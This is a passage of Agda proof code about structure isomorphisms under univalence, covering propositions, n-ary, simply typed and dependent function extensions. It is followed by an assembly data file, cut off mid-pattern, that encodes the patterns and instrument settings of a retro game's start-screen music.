(A ≃ B) ↝⟨ inverse $ ≡≃≃ (Assumptions.univ ass) ⟩
(A ≡ B) ↝⟨ ≡⇒≃ $ cong (λ C → C ≡ B) $ sym (subst-const I≡J) ⟩
(subst (λ _ → P.Type) I≡J A ≡ B) □
}
-- A corresponding type extractor.
[0] : ∀ {c} → Extractor (c ▻ A-type)
[0] {c} = record
{ Type = λ { (_ , A) → ↑ _ A }
; Type-cong = λ { _ (_ , lift A≃B) → ↑-cong A≃B }
; Type-cong-reflexivity = λ { ass (I , A) → elim₁
(λ {p} q →
↑-cong (≡⇒≃
(from (≡⇒≃ (cong (λ C → C ≡ A) (sym (subst-const p))))
(subst (λ eq → subst Ext eq A ≡ A)
(sym q) (refl A)))) ≡
Eq.id)
(lift-equality (Assumptions.ext₁ ass) (refl _))
(right-inverse-of (isomorphism≃equality ass c) (refl I)) }
}
where
open Extension A-type
open _≃_
------------------------------------------------------------------------
-- An extension: propositions
-- Extends a structure with a proposition.
Proposition : ∀ {c} →
-- The proposition.
(P : ⟦ c ⟧ → P.Type₁) →
-- The proposition must be propositional (given some
-- assumptions).
(Assumptions → ∀ I → Is-proposition (P I)) →
Extension c
Proposition {c} P prop = record
{ Ext = P
; Iso = λ _ _ _ _ → ↑ _ ⊤
; Iso≃Iso′ = λ ass I≅J {_ p} →
↑ _ ⊤ ↔⟨ contractible-isomorphic
(↑-closure 0 ⊤-contractible)
(⇒≡ 0 $ propositional⇒inhabited⇒contractible (prop ass _) p) ⟩□
(_ ≡ _) □
}
-- The proposition stating that a given type is a set.
Is-a-set : ∀ {c} → Extractor c → Extension c
Is-a-set extractor =
Proposition (Is-set ∘ Type)
(λ ass _ → H-level-propositional (Assumptions.ext₁ ass) 2)
where open Extractor extractor
------------------------------------------------------------------------
-- An extension: n-ary functions
-- N-ary functions.
_^_⟶_ : P.Type₁ → ℕ → P.Type₁ → P.Type₁
A ^ zero ⟶ B = B
A ^ suc n ⟶ B = A → A ^ n ⟶ B
-- N-ary function morphisms.
Is-_-ary-morphism :
∀ (n : ℕ) {A B} → (A ^ n ⟶ A) → (B ^ n ⟶ B) → (A → B) → P.Type₁
Is- zero -ary-morphism x y m = m x ≡ y
Is- suc n -ary-morphism f g m =
∀ x → Is- n -ary-morphism (f x) (g (m x)) m
-- An n-ary function extension.
N-ary : ∀ {c} →
-- Extracts the underlying type.
Extractor c →
-- The function's arity.
ℕ →
Extension c
N-ary {c} extractor n = Extension-with-resp.extension record
{ Ext = λ I → Type I ^ n ⟶ Type I
; Iso = λ ass I≅J f g →
Is- n -ary-morphism f g (_≃_.to (Type-cong ass I≅J))
; resp = λ ass I≅J → cast n (Type-cong ass I≅J)
; resp-refl = λ ass f →
cast n (Type-cong ass (reflexivity ass c _)) f ≡⟨ cong (λ eq → cast n eq f) $ Type-cong-reflexivity ass _ ⟩
cast n Eq.id f ≡⟨ cast-id (Assumptions.ext₁ ass) n f ⟩∎
f ∎
; Iso≃Iso″ = λ ass I≅J {f g} →
Iso≃Iso″ (Assumptions.ext₁ ass) (Type-cong ass I≅J) n f g
}
where
open Extractor extractor
-- Changes the type of an n-ary function.
cast : ∀ n {A B} → A ≃ B → A ^ n ⟶ A → B ^ n ⟶ B
cast zero A≃B = _≃_.to A≃B
cast (suc n) A≃B = λ f x → cast n A≃B (f (_≃_.from A≃B x))
-- Cast simplification lemma.
cast-id : Extensionality (# 1) (# 1) →
∀ {A} n (f : A ^ n ⟶ A) → cast n Eq.id f ≡ f
cast-id ext zero x = refl x
cast-id ext (suc n) f = apply-ext ext λ x → cast-id ext n (f x)
-- Two definitions of isomorphism are equivalent.
Iso≃Iso″ :
Extensionality (# 1) (# 1) →
∀ {A B} (A≃B : A ≃ B)
(n : ℕ) (f : A ^ n ⟶ A) (g : B ^ n ⟶ B) →
Is- n -ary-morphism f g (_≃_.to A≃B) ≃ (cast n A≃B f ≡ g)
Iso≃Iso″ ext A≃B zero x y =
(_≃_.to A≃B x ≡ y) □
Iso≃Iso″ ext A≃B (suc n) f g =
(∀ x → Is- n -ary-morphism (f x) (g (_≃_.to A≃B x)) (_≃_.to A≃B)) ↝⟨ ∀-cong ext (λ x →
Iso≃Iso″ ext A≃B n (f x) (g (_≃_.to A≃B x))) ⟩
(∀ x → cast n A≃B (f x) ≡ g (_≃_.to A≃B x)) ↝⟨ Eq.extensionality-isomorphism ext ⟩
(cast n A≃B ∘ f ≡ g ∘ _≃_.to A≃B) ↔⟨ inverse $ ∘from≡↔≡∘to ext A≃B ⟩□
(cast n A≃B ∘ f ∘ _≃_.from A≃B ≡ g) □
------------------------------------------------------------------------
-- An extension: simply typed functions
-- This section contains a generalisation of the development for n-ary
-- functions above.
-- Simple types.
data Simple-type (c : Code) : P.Type₂ where
base : Extractor c → Simple-type c
_⟶_ : Simple-type c → Simple-type c → Simple-type c
-- Interpretation of a simple type.
⟦_⟧⟶ : ∀ {c} → Simple-type c → ⟦ c ⟧ → P.Type₁
⟦ base A ⟧⟶ I = Extractor.Type A I
⟦ σ ⟶ τ ⟧⟶ I = ⟦ σ ⟧⟶ I → ⟦ τ ⟧⟶ I
-- A simply typed function extension.
Simple : ∀ {c} → Simple-type c → Extension c
Simple {c} σ = Extension-with-resp.extension record
{ Ext = ⟦ σ ⟧⟶
; Iso = λ ass → Iso ass σ
; resp = λ ass I≅J → _≃_.to (cast ass σ I≅J)
; resp-refl = λ ass f → cong (λ eq → _≃_.to eq f) $ cast-refl ass σ
; Iso≃Iso″ = λ ass → Iso≃Iso″ ass σ
}
where
open Extractor
-- Isomorphisms between simply typed values.
Iso : (ass : Assumptions) →
(σ : Simple-type c) →
∀ {I J} → Isomorphic ass c I J → ⟦ σ ⟧⟶ I → ⟦ σ ⟧⟶ J → P.Type₁
Iso ass (base A) I≅J x y = _≃_.to (Type-cong A ass I≅J) x ≡ y
Iso ass (σ ⟶ τ) I≅J f g =
∀ x y → Iso ass σ I≅J x y → Iso ass τ I≅J (f x) (g y)
-- Cast.
cast : (ass : Assumptions) →
(σ : Simple-type c) →
∀ {I J} → Isomorphic ass c I J → ⟦ σ ⟧⟶ I ≃ ⟦ σ ⟧⟶ J
cast ass (base A) I≅J = Type-cong A ass I≅J
cast ass (σ ⟶ τ) I≅J = →-cong ext₁ (cast ass σ I≅J) (cast ass τ I≅J)
where open Assumptions ass
-- Cast simplification lemma.
cast-refl : (ass : Assumptions) →
∀ σ {I} → cast ass σ (reflexivity ass c I) ≡ Eq.id
cast-refl ass (base A) {I} =
Type-cong A ass (reflexivity ass c I) ≡⟨ Type-cong-reflexivity A ass I ⟩∎
Eq.id ∎
cast-refl ass (σ ⟶ τ) {I} =
cast ass (σ ⟶ τ) (reflexivity ass c I) ≡⟨ lift-equality ext₁ $ cong _≃_.to $
cong₂ (→-cong ext₁) (cast-refl ass σ) (cast-refl ass τ) ⟩∎
Eq.id ∎
where open Assumptions ass
-- Two definitions of isomorphism are equivalent.
Iso≃Iso″ :
(ass : Assumptions) →
(σ : Simple-type c) →
∀ {I J} (I≅J : Isomorphic ass c I J) {f g} →
Iso ass σ I≅J f g ≃ (_≃_.to (cast ass σ I≅J) f ≡ g)
Iso≃Iso″ ass (base A) I≅J {x} {y} =
(_≃_.to (Type-cong A ass I≅J) x ≡ y) □
Iso≃Iso″ ass (σ ⟶ τ) I≅J {f} {g} =
(∀ x y → Iso ass σ I≅J x y → Iso ass τ I≅J (f x) (g y)) ↝⟨ ∀-cong ext₁ (λ _ → ∀-cong ext₁ λ _ →
→-cong ext₁ (Iso≃Iso″ ass σ I≅J) (Iso≃Iso″ ass τ I≅J)) ⟩
(∀ x y → to (cast ass σ I≅J) x ≡ y →
to (cast ass τ I≅J) (f x) ≡ g y) ↝⟨ inverse $ ∀-cong ext₁ (λ x →
∀-intro (λ y _ → to (cast ass τ I≅J) (f x) ≡ g y) ext₁) ⟩
(∀ x → to (cast ass τ I≅J) (f x) ≡ g (to (cast ass σ I≅J) x)) ↝⟨ extensionality-isomorphism ext₁ ⟩
(to (cast ass τ I≅J) ∘ f ≡ g ∘ to (cast ass σ I≅J)) ↔⟨ inverse $ ∘from≡↔≡∘to ext₁ (cast ass σ I≅J) ⟩□
(to (cast ass τ I≅J) ∘ f ∘ from (cast ass σ I≅J) ≡ g) □
where
open _≃_
open Assumptions ass
------------------------------------------------------------------------
-- An unfinished extension: dependent types
-- The extension currently supports polymorphic types.
module Dependent where
open Extractor
----------------------------------------------------------------------
-- The extension
-- Dependent types.
data Ty (c : Code) : P.Type₂
-- Extension: Dependently-typed functions.
ext-with-resp : ∀ {c} → Ty c → Extension-with-resp c
private
open module E {c} (σ : Ty c) =
Extension-with-resp (ext-with-resp σ)
hiding (Iso; Iso≃Iso″; extension)
open E public using () renaming (extension to Dep)
data Ty c where
set : Ty c
base : Extractor c → Ty c
Π : (σ : Ty c) → Ty (c ▻ Dep σ) → Ty c
-- Interpretation of a dependent type.
⟦_⟧Π : ∀ {c} → Ty c → ⟦ c ⟧ → P.Type₁
-- Isomorphisms between dependently typed functions.
Iso :
(ass : Assumptions) →
∀ {c} (σ : Ty c) →
∀ {I J} → Isomorphic ass c I J → ⟦ σ ⟧Π I → ⟦ σ ⟧Π J → P.Type₁
-- A cast function.
cast : (ass : Assumptions) →
∀ {c} (σ : Ty c) {I J} →
Isomorphic ass c I J → ⟦ σ ⟧Π I ≃ ⟦ σ ⟧Π J
-- Reflexivity is mapped to identity.
cast-refl : (ass : Assumptions) →
∀ {c} (σ : Ty c) {I} →
cast ass σ (reflexivity ass c I) ≡ Eq.id
-- Two definitions of isomorphism are equivalent.
Iso≃Iso″ : (ass : Assumptions) →
∀ {c} (σ : Ty c) {I J} (I≅J : Isomorphic ass c I J) {f g} →
Iso ass σ I≅J f g ≃ (_≃_.to (cast ass σ I≅J) f ≡ g)
-- Extension: Dependently-typed functions.
ext-with-resp {c} σ = record
{ Ext = ⟦ σ ⟧Π
; Iso = λ ass → Iso ass σ
; resp = λ ass I≅J → _≃_.to (cast ass σ I≅J)
; resp-refl = λ ass f → cong (λ eq → _≃_.to eq f) $ cast-refl ass σ
; Iso≃Iso″ = λ ass → Iso≃Iso″ ass σ
}
-- Interpretation of a dependent type.
⟦ set ⟧Π _ = P.Type
⟦ base A ⟧Π I = Type A I
⟦ Π σ τ ⟧Π I = (x : ⟦ σ ⟧Π I) → ⟦ τ ⟧Π (I , x)
-- Isomorphisms between dependently typed functions.
Iso _ set _ A B = ↑ _ (A ≃ B)
Iso ass (base A) I≅J x y = x ≡ _≃_.from (Type-cong A ass I≅J) y
Iso ass (Π σ τ) I≅J f g = ∀ x y →
(x≅y : Iso ass σ I≅J x y) → Iso ass τ (I≅J , x≅y) (f x) (g y)
-- A cast function.
cast ass set I≅J = Eq.id
cast ass (base A) I≅J = Type-cong A ass I≅J
cast ass (Π σ τ) I≅J = Π-cong ext₁
(cast ass σ I≅J)
(λ x → cast ass τ (I≅J , isomorphic-to-itself σ ass I≅J x))
where open Assumptions ass
abstract
-- Reflexivity is mapped to identity.
cast-refl ass set = refl Eq.id
cast-refl ass {c} (base A) {I} =
Type-cong A ass (reflexivity ass c I) ≡⟨ Type-cong-reflexivity A ass I ⟩∎
Eq.id ∎
cast-refl ass {c} (Π σ τ) {I} =
let rfl = reflexivity ass c I
rflE = reflexivityE ass c (Dep σ) I in
lift-equality-inverse ext₁ $
apply-ext ext₁ λ f →
apply-ext ext₁ λ x →
from (cast ass τ (rfl , isomorphic-to-itself σ ass rfl x))
(f (resp σ ass rfl x)) ≡⟨ cong (λ iso → from (cast ass τ (rfl , iso)) (f (resp σ ass rfl x))) $
isomorphic-to-itself-reflexivity σ ass I x ⟩
from (cast ass τ (rfl , subst (Iso ass σ rfl x)
(sym $ resp-refl σ ass x)
(rflE x)))
(f (resp σ ass rfl x)) ≡⟨ elim¹ (λ {y} x≡y →
from (cast ass τ (rfl , subst (Iso ass σ rfl x)
x≡y (rflE x)))
(f y) ≡
f x)
(cong (λ h → _≃_.from h (f x)) $ cast-refl ass τ)
(sym $ resp-refl σ ass x) ⟩∎
f x ∎
where
open _≃_
open Assumptions ass
-- Two definitions of isomorphism are equivalent.
Iso≃Iso‴ :
(ass : Assumptions) →
∀ {c} (σ : Ty c) {I J} (I≅J : Isomorphic ass c I J) {f g} →
Iso ass σ I≅J f g ≃ (f ≡ _≃_.from (cast ass σ I≅J) g)
Iso≃Iso‴ ass set I≅J {A} {B} =
↑ _ (A ≃ B) ↔⟨ ↑↔ ⟩
(A ≃ B) ↝⟨ inverse $ ≡≃≃ (Assumptions.univ ass) ⟩□
(A ≡ B) □
Iso≃Iso‴ ass (base A) I≅J {x} {y} =
(x ≡ _≃_.from (Type-cong A ass I≅J) y) □
Iso≃Iso‴ ass (Π σ τ) I≅J {f} {g} =
let iso-to-itself = isomorphic-to-itself σ ass I≅J in
(∀ x y (x≅y : Iso ass σ I≅J x y) →
Iso ass τ (I≅J , x≅y) (f x) (g y)) ↝⟨ ∀-cong ext₁ (λ x → ∀-cong ext₁ λ y →
Π-cong ext₁ (Iso≃Iso″ ass σ I≅J) (λ x≅y →
Iso ass τ (I≅J , x≅y) (f x) (g y) ↝⟨ Iso≃Iso″ ass τ (I≅J , x≅y) ⟩
(resp τ ass (I≅J , x≅y) (f x) ≡ g y) ↝⟨ ≡⇒≃ $ cong (λ x≅y → resp τ ass (I≅J , x≅y) (f x) ≡ g y) $
sym $ left-inverse-of (Iso≃Iso″ ass σ I≅J) _ ⟩□
(resp τ ass (I≅J , from (Iso≃Iso″ ass σ I≅J)
(to (Iso≃Iso″ ass σ I≅J) x≅y))
(f x) ≡ g y) □)) ⟩
(∀ x y (x≡y : to (cast ass σ I≅J) x ≡ y) →
resp τ ass (I≅J , from (Iso≃Iso″ ass σ I≅J) x≡y) (f x) ≡
g y) ↝⟨ ∀-cong ext₁ (λ x → inverse $
∀-intro (λ y x≡y → _ ≡ _) ext₁) ⟩
(∀ x → resp τ ass (I≅J , iso-to-itself x) (f x) ≡
g (resp σ ass I≅J x)) ↔⟨ extensionality-isomorphism ext₁ ⟩
(resp τ ass (I≅J , iso-to-itself _) ∘ f ≡ g ∘ resp σ ass I≅J) ↔⟨ to∘≡↔≡from∘ ext₁ (cast ass τ (I≅J , iso-to-itself _)) ⟩
(f ≡ from (cast ass τ (I≅J , iso-to-itself _)) ∘
g ∘ resp σ ass I≅J) □
where
open _≃_
open Assumptions ass
abstract
-- Two definitions of isomorphism are equivalent.
Iso≃Iso″ ass σ I≅J {f} {g} =
Iso ass σ I≅J f g ↝⟨ Iso≃Iso‴ ass σ I≅J ⟩
(f ≡ _≃_.from (cast ass σ I≅J) g) ↔⟨ inverse $ from≡↔≡to (inverse $ cast ass σ I≅J) ⟩□
(_≃_.to (cast ass σ I≅J) f ≡ g) □
----------------------------------------------------------------------
-- An instantiation of the type extractor mechanism that gives us
-- support for polymorphic types
abstract
reflexivityE-set :
(ass : Assumptions) →
∀ {c} {I : ⟦ c ⟧} {A} →
reflexivityE ass c (Dep set) I A ≡ lift Eq.id
reflexivityE-set ass {c} {I} {A} =
let ≡⇒→′ = _↔_.to ∘ ≡⇒↝ _ in
reflexivityE ass c (Dep set) I A ≡⟨⟩
lift (≡⇒≃ (to (from≡↔≡to (inverse Eq.id))
(from (≡⇒≃ $ cong (λ B → B ≡ A) $
isomorphic-to-itself″ set ass
(reflexivity ass c I))
(subst (λ eq → subst (λ _ → P.Type) eq A ≡ A)
(sym $ right-inverse-of
(isomorphism≃equality ass c)
(refl I))
(refl A))))) ≡⟨ cong (λ eq → lift (≡⇒≃ (to (from≡↔≡to (inverse Eq.id)) eq))) $ sym $
resp-refl-lemma set ass I A ⟩
lift (≡⇒≃ (to (from≡↔≡to (inverse Eq.id))
(resp-refl set ass {I = I} A))) ≡⟨⟩
lift (≡⇒≃ (to (from≡↔≡to (inverse Eq.id)) (refl A))) ≡⟨⟩
lift (≡⇒≃ (≡⇒→′ (cong (λ B → B ≡ A)
(right-inverse-of (inverse Eq.id) A))
(cong id (refl A)))) ≡⟨⟩
lift (≡⇒≃ (≡⇒→′ (cong (λ B → B ≡ A) (left-inverse-of Eq.id A))
(cong id (refl A)))) ≡⟨ cong (λ eq → lift (≡⇒≃ (≡⇒→′ (cong (λ B → B ≡ A) eq) (refl A))))
left-inverse-of-id ⟩
lift (≡⇒≃ (≡⇒→′ (cong (λ B → B ≡ A) (refl A)) (refl A))) ≡⟨⟩
lift (≡⇒≃ (≡⇒→′ (refl (A ≡ A)) (refl A))) ≡⟨⟩
lift (≡⇒≃ (refl A)) ≡⟨ refl _ ⟩∎
lift Eq.id ∎
where
open _↔_ using (to)
open _≃_ hiding (to)
⟨0⟩ : ∀ {c} → Extractor (c ▻ Dep set)
⟨0⟩ {c} = record
{ Type = λ { (_ , A) → ↑ _ A }
; Type-cong = λ { _ (_ , lift A≃B) → ↑-cong A≃B }
; Type-cong-reflexivity = λ { ass (I , A) →
let open Assumptions ass; open _≃_ in
lift-equality ext₁ (apply-ext ext₁ λ { (lift x) → cong lift (
to (lower (reflexivityE ass c (Dep set) I A)) x ≡⟨ cong (λ eq → to (lower eq) x) $ reflexivityE-set ass ⟩∎
x ∎ )})}
}
------------------------------------------------------------------------
-- Examples
-- For examples, see
-- Univalence-axiom.Isomorphism-is-equality.More.Examples.
|
StartScreen/_sfx/Global/song.asm | kosmonautdnb/TheLandsOfZador | 0 | 3696 | kp_song
kp_reloc
dc.w kp_song_registers
dc.w kp_speed
dc.w kp_grooveboxpos
dc.w kp_grooveboxlen
dc.w kp_groovebox
dc.w kp_patternlen
dc.w kp_patternmap_lo
dc.w kp_patternmap_hi
dc.w kp_insmap_lo
dc.w kp_insmap_hi
dc.w kp_volmap_lo
dc.w kp_volmap_hi
dc.w kp_sequence
kp_song_registers
kp_speed
dc.b $02
kp_grooveboxpos
dc.b $00
kp_grooveboxlen
dc.b $04
kp_groovebox
dc.b $04
dc.b $06
dc.b $09
dc.b $05
dc.b $05
dc.b $04
dc.b $06
dc.b $04
kp_patternlen
dc.b $1F
kp_patternmap_lo
dc.b #<patnil
dc.b #<pat1
dc.b #<pat2
dc.b #<pat3
dc.b #<pat4
dc.b #<pat5
dc.b #<pat6
dc.b #<pat7
dc.b #<pat8
dc.b #<pat9
dc.b #<pat10
dc.b #<pat11
dc.b #<pat12
dc.b #<pat13
dc.b #<pat14
dc.b #<pat15
dc.b #<pat16
dc.b #<pat17
dc.b #<pat18
kp_patternmap_hi
dc.b #>patnil
dc.b #>pat1
dc.b #>pat2
dc.b #>pat3
dc.b #>pat4
dc.b #>pat5
dc.b #>pat6
dc.b #>pat7
dc.b #>pat8
dc.b #>pat9
dc.b #>pat10
dc.b #>pat11
dc.b #>pat12
dc.b #>pat13
dc.b #>pat14
dc.b #>pat15
dc.b #>pat16
dc.b #>pat17
dc.b #>pat18
patnil
kp_setinstrument 8,0
kp_settrackregister 0,16
kp_rewind $00
pat1
pat1loop
kp_settrackregister $03,$0F
kp_setinstrument $04,$01
kp_setinstrument $04,$02
kp_setinstrument $02,$03
kp_settrackregister $03,$08
kp_setinstrument $02,$03
kp_settrackregister $03,$0F
kp_setinstrument $02,$02
kp_setinstrument $02,$02
kp_setinstrument $04,$01
kp_setinstrument $02,$02
kp_settrackregister $03,$08
kp_setinstrument $02,$01
kp_settrackregister $03,$0F
kp_setinstrument $02,$03
kp_settrackregister $03,$08
kp_setinstrument $02,$03
kp_settrackregister $03,$0F
kp_setinstrument $02,$02
kp_setinstrument $02,$02
kp_rewind [pat1loop-pat1]
pat2
pat2loop
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $06,$04
kp_settrackregister $01,$40
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$20
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $04,$04
kp_settrackregister $01,$08
kp_setinstrument $02,$04
kp_settrackregister $01,$40
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$20
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_rewind [pat2loop-pat2]
pat3
pat3loop
kp_settrackregister $03,$0F
kp_setinstrument $04,$01
kp_setinstrument $04,$02
kp_setinstrument $02,$03
kp_settrackregister $03,$08
kp_setinstrument $02,$03
kp_settrackregister $03,$0F
kp_setinstrument $02,$02
kp_setinstrument $02,$02
kp_setinstrument $02,$01
kp_settrackregister $03,$0E
kp_setinstrument $02,$06
kp_settrackregister $03,$0F
kp_setinstrument $02,$02
kp_settrackregister $03,$0C
kp_setinstrument $02,$02
kp_settrackregister $03,$0F
kp_setinstrument $04,$03
kp_setinstrument $04,$06
kp_rewind [pat3loop-pat3]
pat4
pat4loop
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $06,$04
kp_settrackregister $01,$40
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$20
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $01,$04
kp_settrackregister $03,$0A
kp_settrackregister $00,$01
kp_settrackregister $03,$0C
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $03,$0C
kp_setinstrument $01,$04
kp_settrackregister $03,$07
kp_settrackregister $00,$01
kp_settrackregister $03,$0A
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $01,$40
kp_settrackregister $03,$0F
kp_setinstrument $04,$05
kp_settrackregister $01,$08
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $03,$0F
kp_settrackregister $00,$02
kp_rewind [pat4loop-pat4]
pat5
pat5loop
kp_settrackregister $03,$0F
kp_setinstrument $04,$01
kp_setinstrument $04,$02
kp_setinstrument $04,$03
kp_setinstrument $02,$02
kp_setinstrument $02,$02
kp_setinstrument $02,$06
kp_settrackregister $03,$0E
kp_setinstrument $02,$03
kp_settrackregister $03,$0F
kp_setinstrument $02,$02
kp_settrackregister $03,$0C
kp_setinstrument $02,$02
kp_settrackregister $03,$0F
kp_setinstrument $04,$03
kp_setinstrument $04,$06
kp_rewind [pat5loop-pat5]
pat6
pat6loop
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $06,$04
kp_settrackregister $01,$40
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$20
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_settrackregister $01,$10
kp_settrackregister $03,$0F
kp_setinstrument $01,$04
kp_settrackregister $03,$0A
kp_settrackregister $00,$01
kp_settrackregister $03,$0C
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $03,$0C
kp_setinstrument $01,$04
kp_settrackregister $03,$07
kp_settrackregister $00,$01
kp_settrackregister $03,$0A
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $01,$40
kp_settrackregister $03,$0F
kp_setinstrument $04,$05
kp_settrackregister $01,$08
kp_setinstrument $04,$04
kp_rewind [pat6loop-pat6]
pat7
pat7loop
kp_settrackregister $03,$0F
kp_settrackregister $00,$04
kp_settrackregister $01,$40
kp_setinstrument $04,$07
kp_settrackregister $01,$70
kp_setinstrument $04,$07
kp_settrackregister $01,$5C
kp_setinstrument $04,$08
kp_settrackregister $01,$68
kp_setinstrument $04,$07
kp_settrackregister $01,$54
kp_setinstrument $02,$07
kp_settrackregister $01,$60
kp_setinstrument $04,$07
kp_settrackregister $01,$4C
kp_setinstrument $02,$07
kp_settrackregister $01,$5C
kp_setinstrument $04,$08
kp_rewind [pat7loop-pat7]
pat8
pat8loop
kp_settrackregister $00,$04
kp_settrackregister $01,$40
kp_setinstrument $04,$07
kp_settrackregister $01,$68
kp_setinstrument $04,$07
kp_settrackregister $01,$60
kp_setinstrument $04,$08
kp_settrackregister $01,$5C
kp_setinstrument $04,$07
kp_settrackregister $01,$54
kp_setinstrument $02,$07
kp_settrackregister $01,$60
kp_setinstrument $04,$07
kp_settrackregister $01,$54
kp_setinstrument $02,$07
kp_settrackregister $01,$44
kp_setinstrument $04,$08
kp_rewind [pat8loop-pat8]
pat9
pat9loop
kp_settrackregister $03,$0F
kp_settrackregister $00,$04
kp_settrackregister $01,$40
kp_setinstrument $04,$07
kp_settrackregister $01,$70
kp_setinstrument $04,$07
kp_settrackregister $01,$5C
kp_setinstrument $04,$08
kp_settrackregister $01,$68
kp_setinstrument $04,$07
kp_settrackregister $01,$54
kp_setinstrument $02,$07
kp_settrackregister $01,$60
kp_setinstrument $04,$07
kp_settrackregister $01,$68
kp_setinstrument $02,$07
kp_settrackregister $01,$70
kp_setinstrument $04,$09
kp_rewind [pat9loop-pat9]
pat10
pat10loop
kp_settrackregister $00,$02
kp_settrackregister $01,$68
kp_settrackregister $03,$08
kp_setinstrument $01,$0A
kp_settrackregister $01,$6C
kp_settrackregister $03,$0C
kp_setinstrument $01,$0A
kp_settrackregister $01,$70
kp_settrackregister $03,$0F
kp_setinstrument $04,$08
kp_settrackregister $01,$68
kp_setinstrument $04,$07
kp_settrackregister $01,$60
kp_setinstrument $04,$08
kp_settrackregister $01,$5C
kp_setinstrument $04,$07
kp_settrackregister $01,$60
kp_setinstrument $02,$07
kp_settrackregister $01,$54
kp_setinstrument $04,$07
kp_settrackregister $01,$5C
kp_setinstrument $02,$07
kp_settrackregister $01,$4C
kp_setinstrument $04,$09
kp_rewind [pat10loop-pat10]
pat11
pat11loop
kp_settrackregister $00,$04
kp_settrackregister $01,$54
kp_settrackregister $03,$0F
kp_setinstrument $04,$07
kp_settrackregister $01,$7C
kp_setinstrument $04,$07
kp_settrackregister $01,$74
kp_setinstrument $04,$08
kp_settrackregister $01,$70
kp_setinstrument $0C,$09
kp_settrackregister $01,$40
kp_settrackregister $03,$0C
kp_setinstrument $04,$09
kp_rewind [pat11loop-pat11]
pat12
pat12loop
kp_settrackregister $01,$24
kp_settrackregister $03,$0F
kp_setinstrument $06,$04
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$34
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_settrackregister $01,$24
kp_settrackregister $03,$0F
kp_setinstrument $04,$04
kp_setinstrument $02,$04
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$20
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_rewind [pat12loop-pat12]
pat13
pat13loop
kp_settrackregister $00,$04
kp_settrackregister $01,$4C
kp_settrackregister $03,$0F
kp_setinstrument $04,$07
kp_settrackregister $01,$74
kp_setinstrument $04,$07
kp_settrackregister $01,$6C
kp_setinstrument $04,$08
kp_settrackregister $01,$68
kp_setinstrument $0C,$09
kp_settrackregister $01,$38
kp_setinstrument $04,$09
kp_rewind [pat13loop-pat13]
pat14
pat14loop
kp_settrackregister $01,$1C
kp_settrackregister $03,$0F
kp_setinstrument $06,$04
kp_settrackregister $03,$0A
kp_setinstrument $02,$05
kp_settrackregister $03,$0F
kp_setinstrument $02,$05
kp_settrackregister $01,$2C
kp_settrackregister $03,$0C
kp_setinstrument $02,$04
kp_settrackregister $03,$00
kp_settrackregister $00,$04
kp_settrackregister $01,$1C
kp_settrackregister $03,$0F
kp_setinstrument $01,$04
kp_settrackregister $03,$0A
kp_settrackregister $00,$01
kp_settrackregister $03,$0C
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $03,$0C
kp_setinstrument $01,$04
kp_settrackregister $03,$07
kp_settrackregister $00,$01
kp_settrackregister $03,$0A
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $03,$0F
kp_setinstrument $04,$05
kp_settrackregister $01,$20
kp_setinstrument $01,$04
kp_settrackregister $03,$08
kp_settrackregister $00,$01
kp_settrackregister $03,$0F
kp_settrackregister $00,$02
kp_rewind [pat14loop-pat14]
pat15
pat15loop
kp_settrackregister $00,$04
kp_settrackregister $01,$40
kp_setinstrument $04,$07
kp_settrackregister $01,$68
kp_setinstrument $04,$07
kp_settrackregister $01,$5C
kp_setinstrument $04,$08
kp_settrackregister $01,$50
kp_setinstrument $04,$07
kp_settrackregister $01,$54
kp_setinstrument $02,$07
kp_settrackregister $01,$5C
kp_setinstrument $04,$07
kp_settrackregister $01,$70
kp_setinstrument $02,$07
kp_settrackregister $01,$74
kp_setinstrument $04,$09
kp_rewind [pat15loop-pat15]
pat16
pat16loop
kp_settrackregister $00,$04
kp_settrackregister $01,$40
kp_setinstrument $04,$07
kp_settrackregister $01,$68
kp_setinstrument $04,$07
kp_settrackregister $01,$5C
kp_setinstrument $04,$08
kp_settrackregister $01,$50
kp_setinstrument $04,$07
kp_settrackregister $01,$54
kp_setinstrument $02,$07
kp_settrackregister $01,$44
kp_setinstrument $04,$07
kp_settrackregister $01,$50
kp_setinstrument $02,$07
